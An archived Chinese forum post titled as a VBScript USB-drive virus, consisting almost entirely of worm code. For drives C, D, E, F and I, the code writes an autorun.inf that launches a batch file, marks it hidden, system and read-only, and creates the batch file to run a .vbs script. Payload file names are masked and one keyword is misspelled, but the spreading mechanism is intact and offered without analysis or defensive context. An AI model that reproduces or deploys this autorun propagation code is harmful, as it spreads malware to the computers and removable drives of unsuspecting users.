浏览 1793 次
锁定老帖子 主题:vbsU盘传播病毒
精华帖 (0) :: 良好帖 (0) :: 新手帖 (0) :: 隐藏帖 (0)
|
|
---|---|
作者 | 正文 |
发表时间:2009-07-30
最后修改:2009-07-31
If fso.FileExists("C:\autorun.inf") Then Set objFolder = fso.GetFile("C:\autorun.inf") Else wsh.run "cmd /c echo [AutoRun]>>C:\autorun.inf"_ &"&& echo open=XXXXXXX.bat >>C:\autorun.inf"_ &"&& echo shellexecute=XXXXXXXX.bat >>C:\autorun.inf"_ &"&& echo shell\Auto\command=XXXXXXX.bat>>C:\autorun.inf"_ &"&& echo shell=Auto>>C:\autorun.inf"_ &"&& attrib +h +s +r C:\autorun.inf" set autobatc=fso.createtextfile("c:\XXXXXX.bat",1,ture) autobatc.writeline("XXXXXX.vbs") End If If fso.FileExists("D:\autorun.inf") Then Set objFolder = fso.GetFile("D:\autorun.inf") Else wsh.run "cmd /c echo [AutoRun]>>D:\autorun.inf"_ &"&& echo open=XXXXXXX.bat >>D:\autorun.inf"_ &"&& echo shellexecute=XXXXXX.bat >>D:\autorun.inf"_ &"&& echo shell\Auto\command=XXXXXX.bat>>D:\autorun.inf"_ &"&& echo shell=Auto>>D:\autorun.inf"_ &"&& attrib +h +s +r D:\autorun.inf" set autobatd=fso.createtextfile("D:\XXXXX.bat",1,ture) autobatd.writeline("XXXX.vbs") End If If fso.FileExists("E:\autorun.inf") Then Set objFolder = fso.GetFile("E:\autorun.inf") Else wsh.run "cmd /c echo [AutoRun]>>E:\autorun.inf"_ &"&& echo open=XXXXX.bat >>E:\autorun.inf"_ &"&& echo shellexecute=XXXXX.bat >>E:\autorun.inf"_ &"&& echo shell\Auto\command=XXXXX.bat>>E:\autorun.inf"_ &"&& echo shell=Auto>>E:\autorun.inf"_ &"&& attrib +h +s +r E:\autorun.inf" set autobate=fso.createtextfile("E:\XXXXX.bat",1,ture) autobate.writeline("XXXXXX.vbs") End If If fso.FileExists("F:\autorun.inf") Then Set objFolder = fso.GetFile("F:\autorun.inf") Else wsh.run "cmd /c echo [AutoRun]>>F:\autorun.inf"_ &"&& echo open=NXXXX.bat >>F:\autorun.inf"_ &"&& echo shellexecute=XXXXXX.bat >>F:\autorun.inf"_ &"&& echo shell\Auto\command=XXXXX.bat>>F:\autorun.inf"_ &"&& echo shell=Auto>>F:\autorun.inf"_ &"&& attrib +h +s +r F:\autorun.inf" set autobatf=fso.createtextfile("F:\XXXXX",1,ture) autobatf.writeline("XXXXXX.vbs") End If If fso.FileExists("I:\autorun.inf") Then Set objFolder = fso.GetFile("I:\autorun.inf") Else wsh.run "cmd /c echo [AutoRun]>>I:\autorun.inf"_ &"&& echo open=XXXXX.bat >>I:\autorun.inf"_ &"&& echo shellexecute=XXXXX.bat >>I:\autorun.inf"_ &"&& echo shell\Auto\command=XXXXXX.bat>>I:\autorun.inf"_ &"&& echo shell=Auto>>I:\autorun.inf"_ &"&& attrib +h +s +r I:\autorun.inf" set autobatf=fso.createtextfile("I:\XXXXX.bat",1,ture) autobatf.writeline("XXXXXXX.vbs") End If
声明:ITeye文章版权属于作者,受法律保护。没有作者书面许可不得转载。
推荐链接
|
|
返回顶楼 | |